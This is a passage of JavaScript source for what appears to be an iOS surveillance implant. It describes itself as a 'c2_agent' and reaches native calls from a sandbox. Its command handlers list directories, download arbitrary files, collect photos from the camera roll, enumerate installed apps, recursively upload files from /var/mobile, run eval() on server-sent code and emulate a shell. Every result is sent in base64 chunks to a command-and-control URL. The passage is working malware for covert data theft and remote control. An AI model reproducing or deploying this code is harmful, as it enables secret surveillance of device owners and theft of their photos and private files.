Native.callSymbol(\"CFDictionaryCreateMutable\", 0n, 2, BigInt(kKeyCB), BigInt(kValCB));\n\t\t\t\tif (dict && dict !== 0n) {\n\t\t\t\t\tNative.callSymbol(\"CFDictionarySetValue\", dict, kValCert, kFalse);\n\t\t\t\t\tNative.callSymbol(\"CFWriteStreamSetProperty\", ws, kSSL, dict);\n\t\t\t\t\tNative.callSymbol(\"CFReadStreamSetProperty\", rs, kSSL, dict);\n\t\t\t\t\tNative.callSymbol(\"CFRelease\", dict);\n\t\t\t\t}\n\t\t\t}\n\t\t\tNative.callSymbol(\"CFWriteStreamOpen\", ws);\n\t\t\tNative.callSymbol(\"CFReadStreamOpen\", rs);\n\t\t\tvar ready = false;\n\t\t\tfor (var wi = 0; wi < 80; wi++) {\n\t\t\t\tvar st = Number(Native.callSymbol(\"CFWriteStreamGetStatus\", ws));\n\t\t\t\tif (st === 2) { ready = true; break; }\n\t\t\t\tif (st >= 5) break;\n\t\t\t\tNative.callSymbol(\"usleep\", 100000);\n\t\t\t}\n\t\t\tif (!ready) return false;\n\t\t\tvar totalSent = 0;\n\t\t\twhile (totalSent < reqLen) {\n\t\t\t\tvar nw = Number(Native.callSymbol(\"CFWriteStreamWrite\", ws, reqBuf + BigInt(totalSent), reqLen - totalSent));\n\t\t\t\tif (nw <= 0) break;\n\t\t\t\ttotalSent += nw;\n\t\t\t}\n\t\t\treturn totalSent >= reqLen;\n\t\t} finally {\n\t\t\tNative.callSymbol(\"CFReadStreamClose\", rs);\n\t\t\tNative.callSymbol(\"CFWriteStreamClose\", ws);\n\t\t\tNative.callSymbol(\"CFRelease\", rs);\n\t\t\tNative.callSymbol(\"CFRelease\", ws);\n\t\t}\n\t} finally {\n\t\tif (hostCF && hostCF !== 0n) Native.callSymbol(\"CFRelease\", hostCF);\n\t\tif (rPtr && rPtr !== 0n) Native.callSymbol(\"free\", BigInt(rPtr));\n\t\tif (wPtr && wPtr !== 0n) Native.callSymbol(\"free\", BigInt(wPtr));\n\t}\n}\n\nfunction _socketSendRaw(host, port, reqBuf, reqLen) {\n\tvar fd = Number(Native.callSymbol(\"socket\", 2, 1, 0));\n\tif (fd <= 0) return false;\n\ttry {\n\t\tvar tv = Native.callSymbol(\"malloc\", 16n);\n\t\tNative.write64(tv, 15n); Native.write64(tv + 8n, 0n);\n\t\tNative.callSymbol(\"setsockopt\", fd, 0xFFFF, 0x1005, tv, 16);\n\t\tNative.callSymbol(\"setsockopt\", fd, 0xFFFF, 0x1006, tv, 16);\n\t\tNative.callSymbol(\"free\", tv);\n\t\tvar sa = Native.callSymbol(\"calloc\", 1, 16);\n\t\tvar sab = new ArrayBuffer(16);\n\t\tvar sv = new DataView(sab);\n\t\tsv.setUint8(0, 16); sv.setUint8(1, 2);\n\t\tsv.setUint16(2, port, false);\n\t\tvar pp = host.split(\".\");\n\t\tsv.setUint8(4, parseInt(pp[0])); sv.setUint8(5, parseInt(pp[1]));\n\t\tsv.setUint8(6, parseInt(pp[2])); sv.setUint8(7, parseInt(pp[3]));\n\t\tNative.write(sa, sab);\n\t\tvar cr = Number(Native.callSymbol(\"connect\", fd, sa, 16));\n\t\tNative.callSymbol(\"free\", sa);\n\t\tif (cr !== 0) return false;\n\t\tvar totalSent = 0;\n\t\twhile (totalSent < reqLen) {\n\t\t\tvar nw = Number(Native.callSymbol(\"write\", fd, reqBuf + BigInt(totalSent), reqLen - totalSent));\n\t\t\tif (nw <= 0) break;\n\t\t\ttotalSent += nw;\n\t\t}\n\t\treturn totalSent >= reqLen;\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction _hqUploadPhoto(filePath, filename, uuid, seq, md5hash) {\n\treturn false;\n\tvar useTLS = HQ_API_BASE.indexOf(\"https://\") === 0;\n\tvar p = parseURL(HQ_API_BASE + \"/p\");\n\tvar fileFd = Number(Native.callSymbol(\"open\", filePath, 0, 0));\n\tif (fileFd < 0) return false;\n\tvar fileLen = Number(Native.callSymbol(\"lseek\", fileFd, 0, 2));\n\tNative.callSymbol(\"lseek\", fileFd, 0, 0);\n\tif (fileLen <= 0 || fileLen > 5242880) {\n\t\tNative.callSymbol(\"close\", fileFd);\n\t\treturn false;\n\t}\n\tvar fileBuf = Native.callSymbol(\"malloc\", BigInt(fileLen));\n\tif (!fileBuf || fileBuf === 0n) { Native.callSymbol(\"close\", fileFd); return false; }\n\tNative.callSymbol(\"read\", fileFd, fileBuf, fileLen);\n\tNative.callSymbol(\"close\", fileFd);\n\n\tvar bnd = \"------HqBound\";\n\tvar ua = \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1\";\n\tvar prefix =\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"uuid\\\"\\r\\n\\r\\n\" + uuid + \"\\r\\n\" +\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"filename\\\"\\r\\n\\r\\n\" + filename + \"\\r\\n\" +\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"seq\\\"\\r\\n\\r\\n\" + seq + \"\\r\\n\" +\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"md5\\\"\\r\\n\\r\\n\" + md5hash + \"\\r\\n\" +\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"file\\\"; filename=\\\"\" + filename + \"\\\"\\r\\nContent-Type: application/octet-stream\\r\\n\\r\\n\";\n\tvar suffix = \"\\r\\n--\" + bnd + \"--\\r\\n\";\n\tvar bodyLen = prefix.length + fileLen + suffix.length;\n\tvar hdr = \"POST /p HTTP/1.0\\r\\nHost: \" + p.host + \"\\r\\nContent-Type: multipart/form-data; boundary=\" + bnd + \"\\r\\nUser-Agent: \" + ua + \"\\r\\nContent-Length: \" + bodyLen + \"\\r\\n\\r\\n\";\n\n\tvar totalLen = hdr.length + bodyLen;\n\tvar reqBuf = Native.callSymbol(\"malloc\", BigInt(totalLen));\n\tif (!reqBuf || reqBuf === 0n) { Native.callSymbol(\"free\", fileBuf); return false; }\n\n\t_writeStr(reqBuf, hdr);\n\t_writeStr(reqBuf + BigInt(hdr.length), prefix);\n\tNative.callSymbol(\"memcpy\", reqBuf + BigInt(hdr.length + prefix.length), fileBuf, BigInt(fileLen));\n\tNative.callSymbol(\"free\", fileBuf);\n\t_writeStr(reqBuf + BigInt(hdr.length + prefix.length + fileLen), suffix);\n\n\tvar ok = useTLS\n\t\t? _cfstreamSendRaw(p.host, p.port, reqBuf, totalLen)\n\t\t: _socketSendRaw(p.host, p.port, reqBuf, totalLen);\n\tNative.callSymbol(\"free\", reqBuf);\n\treturn ok;\n}\n\n// ============================================================================\n// File & Directory Helpers\n// ============================================================================\n\nfunction readFileB64(path, maxSize) {\n\tmaxSize = maxSize || MAX_FILE_SIZE;\n\tconst fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return null;\n\ttry {\n\t\tconst sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\t\tNative.callSymbol(\"lseek\", fd, 0, 0);\n\t\tif (sz <= 0 || sz > maxSize) return null;\n\t\tconst buf = Native.callSymbol(\"malloc\", BigInt(sz));\n\t\tif (!buf || buf === 0n) return null;\n\t\ttry {\n\t\t\tconst nr = Number(Native.callSymbol(\"read\", fd, buf, sz));\n\t\t\tif (nr <= 0) return null;\n\t\t\treturn { b64: bytesToBase64(new Uint8Array(Native.read(buf, nr))), size: nr };\n\t\t} finally { Native.callSymbol(\"free\", buf); }\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction getFileSize(path) {\n\tvar fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return -1;\n\tvar sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\tNative.callSymbol(\"close\", fd);\n\treturn sz;\n}\n\nfunction sendFileChunked(cmdId, path, filename, category, meta) {\n\tvar fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return { ok: false, error: \"open failed\", sent: 0, total: 0 };\n\ttry {\n\t\treturn _sendChunksFromFd(cmdId, fd, -1, filename, category, meta);\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction _sendChunksFromFd(cmdId, fd, knownSize, filename, category, meta) {\n\tvar fileSize = knownSize > 0 ? knownSize : Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\tif (knownSize <= 0) Native.callSymbol(\"lseek\", fd, 0, 0);\n\tif (fileSize <= 0) return { ok: false, error: \"empty file\", sent: 0, total: 0 };\n\n\tvar totalChunks = Math.ceil(fileSize / CHUNK_SIZE);\n\tvar buf = Native.callSymbol(\"malloc\", BigInt(CHUNK_SIZE));\n\tif (!buf || buf === 0n) return { ok: false, error: \"malloc failed\", sent: 0, total: totalChunks };\n\tvar sentOk = 0, lastErr = \"\";\n\ttry {\n\t\tfor (var ci = 0; ci < totalChunks; ci++) {\n\t\t\tvar toRead = Math.min(CHUNK_SIZE, fileSize - ci * CHUNK_SIZE);\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", fd, buf, toRead));\n\t\t\tif (nr <= 0) { lastErr = \"read returned \" + nr; break; }\n\t\t\tvar b64 = bytesToBase64(new Uint8Array(Native.read(buf, nr)));\n\t\t\tvar body = {\n\t\t\t\tcommand_id: cmdId, uuid: DEVICE_UUID,\n\t\t\t\tfilename: filename, data: b64,\n\t\t\t\tchunk_index: ci, total_chunks: totalChunks,\n\t\t\t\tcategory: category || \"\"\n\t\t\t};\n\t\t\tif (meta && ci === totalChunks - 1) {\n\t\t\t\tbody._exec_start_ms = meta.start_ms || 0;\n\t\t\t\tbody._exec_end_ms = meta.end_ms || 0;\n\t\t\t}\n\t\t\tvar postOk = false;\n\t\t\tfor (var retry = 0; retry < 3; retry++) {\n\t\t\t\ttry {\n\t\t\t\t\tvar r = httpPost(C2_RESULT_URL, body);\n\t\t\t\t\tif (r !== null) { postOk = true; break; }\n\t\t\t\t} catch(pe) {}\n\t\t\t\tNative.callSymbol(\"usleep\", 2000000);\n\t\t\t}\n\t\t\tif (postOk) { sentOk++; }\n\t\t\telse { lastErr = \"POST failed chunk \" + ci; break; }\n\t\t}\n\t} finally { Native.callSymbol(\"free\", buf); }\n\treturn { ok: sentOk === totalChunks, error: lastErr, sent: sentOk,\n\t\t\t total: totalChunks, fileSize: fileSize };\n}\n\nfunction listDir(path) {\n\tconst d = Native.callSymbol(\"opendir\", path);\n\tif (!d || d === 0n) return [];\n\tconst out = [];\n\tfor (;;) {\n\t\tconst ent = Native.callSymbol(\"readdir\", d);\n\t\tif (!ent || ent === 0n) break;\n\t\t// Darwin dirent: d_ino(8)+d_seekoff(8)+d_reclen(2)+d_namlen(2)+d_type(1)+d_name\n\t\tconst dtype = new Uint8Array(Native.read(ent + 20n, 1))[0];\n\t\tconst name = Native.readString(ent + 21n, 256);\n\t\tif (name === \".\" || name === \"..\") continue;\n\t\tout.push({ name: name, type: dtype === 4 ? \"dir\" : dtype === 8 ? \"file\" : \"\"+dtype });\n\t}\n\tNative.callSymbol(\"closedir\", d);\n\treturn out;\n}\n\n// ============================================================================\n// Command Handlers\n// ============================================================================\n\nfunction sendResult(cmdId, data, filename, category, meta) {\n\tconst body = { command_id: cmdId, uuid: DEVICE_UUID, filename: filename || \"result.bin\" };\n\tif (data) body.data = data;\n\tif (category) body.category = category;\n\tif (meta) {\n\t\tif (meta.start_ms) body._exec_start_ms = meta.start_ms;\n\t\tif (meta.end_ms) body._exec_end_ms = meta.end_ms;\n\t}\n\tfor (var _retry = 0; _retry < 3; _retry++) {\n\t\tvar _resp = httpPost(C2_RESULT_URL, body);\n\t\tif (_resp !== null) return;\n\t\tNative.callSymbol(\"usleep\", 2000000);\n\t}\n}\n\nfunction sendJSON(cmdId, obj, filename, meta) {\n\tconst s = JSON.stringify(obj);\n\tsendResult(cmdId, bytesToBase64(new Uint8Array(Native.stringToBytes(s, false))), filename || \"result.json\", null, meta);\n}\n\nfunction handleLs(cmd) {\n\tconst p = (cmd.params && cmd.params.path) || \"/\";\n\tsendJSON(cmd.command_id, listDir(p), \"ls_\" + p.replace(/\\//g, \"_\") + \".json\");\n}\n\nfunction handleDownload(cmd) {\n\tvar p = cmd.params && cmd.params.path;\n\tif (!p) return;\n\tvar maxSz = (cmd.params && cmd.params.max_size) || MAX_FILE_SIZE;\n\tvar sz = getFileSize(p);\n\tif (sz <= 0 || sz > maxSz) return;\n\tvar fname = p.split(\"/\").pop();\n\tif (sz <= CHUNK_SIZE) {\n\t\tvar f = readFileB64(p, maxSz);\n\t\tif (f) sendResult(cmd.command_id, f.b64, fname);\n\t} else {\n\t\tsendFileChunked(cmd.command_id, p, fname);\n\t}\n}\n\nfunction handlePhotos(cmd) {\n\tvar dcim = \"/var/mobile/Media/DCIM\";\n\tvar maxCount = (cmd.params && cmd.params.max_count) || 50;\n\tvar count = 0;\n\tvar dirs = listDir(dcim);\n\tfor (var di = 0; di < dirs.length && count < maxCount; di++) {\n\t\tif (dirs[di].type !== \"dir\") continue;\n\t\tvar sub = dcim + \"/\" + dirs[di].name;\n\t\tvar files = listDir(sub);\n\t\tfor (var fi = 0; fi < files.length && count < maxCount; fi++) {\n\t\t\tif (files[fi].type !== \"file\") continue;\n\t\t\tvar fp = sub + \"/\" + files[fi].name;\n\t\t\tvar sz = getFileSize(fp);\n\t\t\tif (sz <= 0) continue;\n\t\t\tif (sz <= CHUNK_SIZE) {\n\t\t\t\tvar f = readFileB64(fp);\n\t\t\t\tif (f) {\n\t\t\t\t\tsendResult(cmd.command_id, f.b64, files[fi].name, \"photos\");\n\t\t\t\t\tcount++;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tvar chunkResult = sendFileChunked(cmd.command_id, fp, files[fi].name, \"photos\");\n\t\t\t\tif (chunkResult && chunkResult.ok) count++;\n\t\t\t}\n\t\t}\n\t}\n\tsendJSON(cmd.command_id, { collected: count }, \"photos_summary.json\");\n}\n\nfunction _extractBundleId(bytes) {\n\tvar text = _rawToStr(bytes);\n\tvar xmlKey = \"MCMMetadataIdentifier\";\n\tvar ki = text.indexOf(xmlKey);\n\tif (ki >= 0) {\n\t\tvar si = text.indexOf(\"\", ki);\n\t\tif (si >= 0) {\n\t\t\tsi += 8;\n\t\t\tvar ei = text.indexOf(\"\", si);\n\t\t\tif (ei >= 0) return text.substring(si, ei);\n\t\t}\n\t}\n\tvar strings = [];\n\tvar cur = \"\";\n\tfor (var i = 0; i < bytes.length; i++) {\n\t\tif (bytes[i] >= 0x20 && bytes[i] <= 0x7E) {\n\t\t\tcur += String.fromCharCode(bytes[i]);\n\t\t} else {\n\t\t\tif (cur.length >= 3) strings.push(cur);\n\t\t\tcur = \"\";\n\t\t}\n\t}\n\tif (cur.length >= 3) strings.push(cur);\n\tvar mki = -1;\n\tfor (var j = 0; j < strings.length; j++) {\n\t\tif (strings[j] === \"MCMMetadataIdentifier\") { mki = j; break; }\n\t}\n\tvar candidates = [];\n\tfor (var j = 0; j < strings.length; j++) {\n\t\tvar s = strings[j];\n\t\tvar fi = 0;\n\t\twhile (fi < s.length && !((s.charCodeAt(fi) >= 0x41 && s.charCodeAt(fi) <= 0x5A) ||\n\t\t\t(s.charCodeAt(fi) >= 0x61 && s.charCodeAt(fi) <= 0x7A))) fi++;\n\t\tif (fi > 0) s = s.substring(fi);\n\t\tif (s.length < 5) continue;\n\t\tif (s.indexOf(\".\") < 0) continue;\n\t\tif (s.indexOf(\"MCM\") === 0) continue;\n\t\tif (s.charAt(0) === \"$\") continue;\n\t\tif (s.indexOf(\"]\") >= 0) continue;\n\t\tif (s.indexOf(\"bplist\") >= 0) continue;\n\t\tif (s.indexOf(\"apple.mobile_container\") >= 0) continue;\n\t\tif (s.indexOf(\"MobileInstallation\") >= 0) continue;\n\t\tif (s === \"com.apple.installd\") continue;\n\t\tif (s === \"com.apple.containermanagerd\") continue;\n\t\tif (s === \"com.apple.lsd\") continue;\n\t\tcandidates.push({ s: s, i: j });\n\t}\n\tif (candidates.length === 0) return \"\";\n\tif (candidates.length === 1) return candidates[0].s;\n\tif (mki >= 0) {\n\t\tvar best = candidates[0];\n\t\tvar bd = Math.abs(candidates[0].i - mki);\n\t\tfor (var k = 1; k < candidates.length; k++) {\n\t\t\tvar d = Math.abs(candidates[k].i - mki);\n\t\t\tif (d < bd) { bd = d; best = candidates[k]; }\n\t\t}\n\t\treturn best.s;\n\t}\n\treturn candidates[0].s;\n}\n\nfunction handleApps(cmd) {\n\tconst base = \"/var/mobile/Containers/Data/Application\";\n\tconst dirs = listDir(base);\n\tconst apps = [];\n\tfor (let i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tconst meta = base + \"/\" + dirs[i].name + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tconst ok = Number(Native.callSymbol(\"access\", meta, 0)) === 0;\n\t\tvar bundleId = \"\";\n\t\tif (ok) {\n\t\t\tvar bytes = _readFileBytes(meta, 8192);\n\t\t\tif (bytes && bytes.length > 0) bundleId = _extractBundleId(bytes);\n\t\t}\n\t\tapps.push({ uuid: dirs[i].name, bundleId: bundleId, hasMetadata: ok });\n\t}\n\tsendJSON(cmd.command_id, apps, \"app_list.json\");\n}\n\nfunction handleExec(cmd) {\n\tvar p = cmd.params || {};\n\tvar code = p.code;\n\tvar startMs = Date.now();\n\tif (!code) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"empty code\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t\treturn;\n\t}\n\ttry {\n\t\tvar r = eval(code);\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"success\",\n\t\t\tresult: String(r !== undefined ? r : \"\"),\n\t\t\texecution_time: (Date.now() - startMs) / 1000,\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t} catch (e) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\",\n\t\t\terror: String(e),\n\t\t\texecution_time: (Date.now() - startMs) / 1000,\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t}\n}\n\n// ============================================================================\n// file_upload: scan directories, filter files, upload matching ones in chunks\n// ============================================================================\n\nfunction _scanDir(base, files, recurse, excludes, filterMode, exts, maxSz) {\n\tvar items = listDir(base);\n\tfor (var i = 0; i < items.length; i++) {\n\t\tvar full = base + \"/\" + items[i].name;\n\t\tif (items[i].type === \"dir\") {\n\t\t\tif (!recurse) continue;\n\t\t\tvar skip = false;\n\t\t\tfor (var e = 0; e < excludes.length; e++) {\n\t\t\t\tif (full === excludes[e]) { skip = true; break; }\n\t\t\t}\n\t\t\tif (!skip) _scanDir(full, files, recurse, excludes, filterMode, exts, maxSz);\n\t\t} else if (items[i].type === \"file\") {\n\t\t\tif (maxSz > 0) {\n\t\t\t\tvar fd = Number(Native.callSymbol(\"open\", full, 0, 0));\n\t\t\t\tif (fd >= 0) {\n\t\t\t\t\tvar sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\t\t\t\t\tNative.callSymbol(\"close\", fd);\n\t\t\t\t\tif (sz > maxSz) continue;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (filterMode === \"include\" && exts.length > 0) {\n\t\t\t\tvar dot = items[i].name.lastIndexOf(\".\");\n\t\t\t\tif (dot < 0) continue;\n\t\t\t\tvar ext = items[i].name.substring(dot).toLowerCase();\n\t\t\t\tvar found = false;\n\t\t\t\tfor (var x = 0; x < exts.length; x++) {\n\t\t\t\t\tif (exts[x].toLowerCase() === ext) { found = true; break; }\n\t\t\t\t}\n\t\t\t\tif (!found) continue;\n\t\t\t} else if (filterMode === \"exclude\" && exts.length > 0) {\n\t\t\t\tvar dot2 = items[i].name.lastIndexOf(\".\");\n\t\t\t\tif (dot2 >= 0) {\n\t\t\t\t\tvar ext2 = items[i].name.substring(dot2).toLowerCase();\n\t\t\t\t\tvar blocked = false;\n\t\t\t\t\tfor (var x2 = 0; x2 < exts.length; x2++) {\n\t\t\t\t\t\tif (exts[x2].toLowerCase() === ext2) { blocked = true; break; }\n\t\t\t\t\t}\n\t\t\t\t\tif (blocked) continue;\n\t\t\t\t}\n\t\t\t}\n\t\t\tfiles.push(full);\n\t\t}\n\t}\n}\n\nfunction handleFileUpload(cmd) {\n\tvar p = cmd.params || {};\n\tvar paths = p.upload_paths || [\"/var/mobile\"];\n\tvar filterMode = p.filter_mode || \"none\";\n\tvar extStr = p.file_extensions || \"\";\n\tvar exts = extStr ? extStr.split(\",\") : [];\n\tvar recurse = (p.include_subdirs !== false);\n\tvar excludes = p.exclude_dirs || [];\n\tvar maxMB = p.max_file_size_mb;\n\tvar maxSz = (maxMB && maxMB > 0) ? maxMB * 1024 * 1024 : 0;\n\n\tvar files = [];\n\tfor (var pi = 0; pi < paths.length; pi++) {\n\t\t_scanDir(paths[pi], files, recurse, excludes, filterMode, exts, maxSz);\n\t}\n\n\tvar uploaded = 0;\n\tfor (var fi = 0; fi < files.length; fi++) {\n\t\tvar fname = files[fi].replace(/\\//g, \"_\");\n\t\tif (fname.charAt(0) === \"_\") fname = fname.substring(1);\n\t\tvar sz = getFileSize(files[fi]);\n\t\tif (sz <= 0) continue;\n\t\tif (sz <= CHUNK_SIZE) {\n\t\t\tvar rd = readFileB64(files[fi], maxSz > 0 ? maxSz : MAX_FILE_SIZE);\n\t\t\tif (rd) {\n\t\t\t\tsendResult(cmd.command_id, rd.b64, fname, \"file_upload\");\n\t\t\t\tuploaded++;\n\t\t\t}\n\t\t} else {\n\t\t\tvar chunkRes = sendFileChunked(cmd.command_id, files[fi], fname, \"file_upload\");\n\t\t\tif (chunkRes && chunkRes.ok) uploaded++;\n\t\t}\n\t}\n\tsendJSON(cmd.command_id, {\n\t\tscanned: files.length, uploaded: uploaded,\n\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t}, \"file_upload_summary.json\");\n}\n\n// ============================================================================\n// Execute Command - unified shell-like command interface\n// Since c2_agent runs in a JS sandbox without shell access, common shell\n// commands are emulated via POSIX native calls.\n// Result format follows API spec: { exit_code, stdout(b64), stderr(b64),\n// execution_time, timeout }\n// ============================================================================\n\nvar _cwd = \"/var/mobile\";\n\nfunction _parseArgs(cmdStr) {\n\tvar args = [];\n\tvar cur = \"\";\n\tvar inQ = 0;\n\tfor (var i = 0; i < cmdStr.length; i++) {\n\t\tvar c = cmdStr.charAt(i);\n\t\tif (c === '\\\\' && i + 1 < cmdStr.length) { cur += cmdStr.charAt(++i); continue; }\n\t\tif (inQ === 1) { if (c === \"'\") inQ = 0; else cur += c; continue; }\n\t\tif (inQ === 2) { if (c === '\"') inQ = 0; else cur += c; continue; }\n\t\tif (c === \"'\") { inQ = 1; continue; }\n\t\tif (c === '\"') { inQ = 2; continue; }\n\t\tif (c === ' ' || c === '\\t') {\n\t\t\tif (cur.length) { args.push(cur); cur = \"\"; }\n\t\t\tcontinue;\n\t\t}\n\t\tcur += c;\n\t}\n\tif (cur.length) args.push(cur);\n\treturn args;\n}\n\nfunction _resolvePath(p) {\n\tif (!p) return _cwd;\n\tif (p === \"~\") return \"/var/mobile\";\n\tif (p.indexOf(\"~/\") === 0) return \"/var/mobile\" + p.substring(1);\n\tif (p.charAt(0) === '/') return p;\n\tvar base = _cwd;\n\tif (base.charAt(base.length - 1) !== '/') base += '/';\n\tvar parts = (base + p).split('/');\n\tvar res = [];\n\tfor (var i = 0; i < parts.length; i++) {\n\t\tif (parts[i] === '' && i > 0) continue;\n\t\tif (parts[i] === '.') continue;\n\t\tif (parts[i] === '..') { if (res.length > 1) res.pop(); }\n\t\telse res.push(parts[i]);\n\t}\n\treturn res.join('/') || '/';\n}\n\nfunction _strToB64(s) {\n\tif (!s) return \"\";\n\treturn bytesToBase64(new Uint8Array(Native.stringToBytes(s, false)));\n}\n\nfunction _readFileBytes(path, maxSz) {\n\tmaxSz = maxSz || (2 * 1024 * 1024);\n\tvar fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return null;\n\ttry {\n\t\tvar sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\t\tNative.callSymbol(\"lseek\", fd, 0, 0);\n\t\tif (sz < 0) return null;\n\t\tif (sz === 0) return new Uint8Array(0);\n\t\tvar toRead = sz > maxSz ? maxSz : sz;\n\t\tvar buf = Native.callSymbol(\"malloc\", BigInt(toRead));\n\t\tif (!buf || buf === 0n) return null;\n\t\ttry {\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", fd, buf, toRead));\n\t\t\tif (nr <= 0) return new Uint8Array(0);\n\t\t\treturn new Uint8Array(Native.read(buf, nr));\n\t\t} finally { Native.callSymbol(\"free\", buf); }\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction _rawToStr(bytes) {\n\tvar s = \"\";\n\tfor (var i = 0; i < bytes.length; i++) s += String.fromCharCode(bytes[i]);\n\treturn s;\n}\n\nfunction _statFile(path) {\n\tvar sb = Native.callSymbol(\"calloc\", 1, 144);\n\tif (!sb || sb === 0n) return null;\n\tvar r = Number(Native.callSymbol(\"lstat\", path, BigInt(sb)));\n\tif (r !== 0) { Native.callSymbol(\"free\", sb); return null; }\n\tvar mode = _readU16(BigInt(sb), 4);\n\tvar nlink = _readU16(BigInt(sb), 6);\n\tvar size = _readI64(BigInt(sb), 96);\n\tvar atime = _readI64(BigInt(sb), 32);\n\tvar mtime = _readI64(BigInt(sb), 48);\n\tvar ctime = _readI64(BigInt(sb), 80);\n\tNative.callSymbol(\"free\", sb);\n\tvar fmt = mode & 0xF000;\n\treturn {\n\t\tmode: mode, nlink: nlink, size: size,\n\t\tatime: atime, mtime: mtime, ctime: ctime,\n\t\tisDir: fmt === 0x4000, isFile: fmt === 0x8000, isLink: fmt === 0xA000,\n\t\ttype: fmt === 0x4000 ? \"dir\" : fmt === 0xA000 ? \"link\" : \"file\"\n\t};\n}\n\nfunction _modeStr(mode) {\n\tvar fmt = mode & 0xF000;\n\tvar t = fmt === 0x4000 ? 'd' : fmt === 0xA000 ? 'l' : '-';\n\tvar bits = [0x100,0x080,0x040,0x020,0x010,0x008,0x004,0x002,0x001];\n\tvar chars = \"rwxrwxrwx\";\n\tvar p = \"\";\n\tfor (var i = 0; i < 9; i++) p += (mode & bits[i]) ? chars.charAt(i) : '-';\n\treturn t + p;\n}\n\nfunction _fmtSizeH(n) {\n\tif (n < 1024) return n + \"\";\n\tif (n < 1048576) return (n / 1024).toFixed(1) + \"K\";\n\tif (n < 1073741824) return (n / 1048576).toFixed(1) + \"M\";\n\treturn (n / 1073741824).toFixed(1) + \"G\";\n}\n\n// ---- File System Commands ----\n\nfunction _cmdLs(args) {\n\tvar long = false, all = false, target = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tvar a = args[i];\n\t\tif (a.charAt(0) === '-') {\n\t\t\tfor (var j = 1; j < a.length; j++) {\n\t\t\t\tif (a.charAt(j) === 'l') long = true;\n\t\t\t\tif (a.charAt(j) === 'a') all = true;\n\t\t\t}\n\t\t} else target = a;\n\t}\n\tvar path = _resolvePath(target);\n\tvar st = _statFile(path);\n\tif (!st) return { code: 2, out: \"\", err: \"ls: \" + path + \": No such file or directory\\n\" };\n\tif (st.isFile) {\n\t\tif (long) return { code: 0, out: _modeStr(st.mode) + \"\\t\" + st.size + \"\\t\" + path + \"\\n\", err: \"\" };\n\t\treturn { code: 0, out: path + \"\\n\", err: \"\" };\n\t}\n\tvar items = listDir(path);\n\tvar out = \"\";\n\tfor (var i = 0; i < items.length; i++) {\n\t\tif (!all && items[i].name.charAt(0) === '.') continue;\n\t\tif (long) {\n\t\t\tvar fp = path + (path === \"/\" ? \"\" : \"/\") + items[i].name;\n\t\t\tvar fs = _statFile(fp);\n\t\t\tif (fs) {\n\t\t\t\tout += _modeStr(fs.mode) + \"\\t\" + fs.size + \"\\t\" + items[i].name + \"\\n\";\n\t\t\t} else {\n\t\t\t\tout += (items[i].type === \"dir\" ? \"d\" : \"-\") + \"---------\\t0\\t\" + items[i].name + \"\\n\";\n\t\t\t}\n\t\t} else {\n\t\t\tout += items[i].name + \"\\n\";\n\t\t}\n\t}\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdCat(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"cat: missing operand\\n\" };\n\tvar out = \"\", errs = \"\", fail = false;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tvar path = _resolvePath(args[i]);\n\t\tvar acc = Number(Native.callSymbol(\"access\", path, 0));\n\t\tif (acc !== 0) { errs += \"cat: \" + path + \": No such file or directory\\n\"; fail = true; continue; }\n\t\tvar sz = getFileSize(path);\n\t\tif (sz > 2 * 1024 * 1024) { errs += \"cat: \" + path + \": File too large (max 2MB)\\n\"; fail = true; continue; }\n\t\tif (sz === 0) continue;\n\t\tvar bytes = _readFileBytes(path);\n\t\tif (!bytes || bytes.length === 0) continue;\n\t\tout += _rawToStr(bytes);\n\t}\n\treturn { code: fail ? 1 : 0, out: out, err: errs };\n}\n\nfunction _cmdPwd() { return { code: 0, out: _cwd + \"\\n\", err: \"\" }; }\n\nfunction _cmdCd(args) {\n\tvar target = args.length > 1 ? args[1] : \"/var/mobile\";\n\tvar path = _resolvePath(target);\n\tvar st = _statFile(path);\n\tif (!st) return { code: 1, out: \"\", err: \"cd: \" + path + \": No such file or directory\\n\" };\n\tif (!st.isDir) return { code: 1, out: 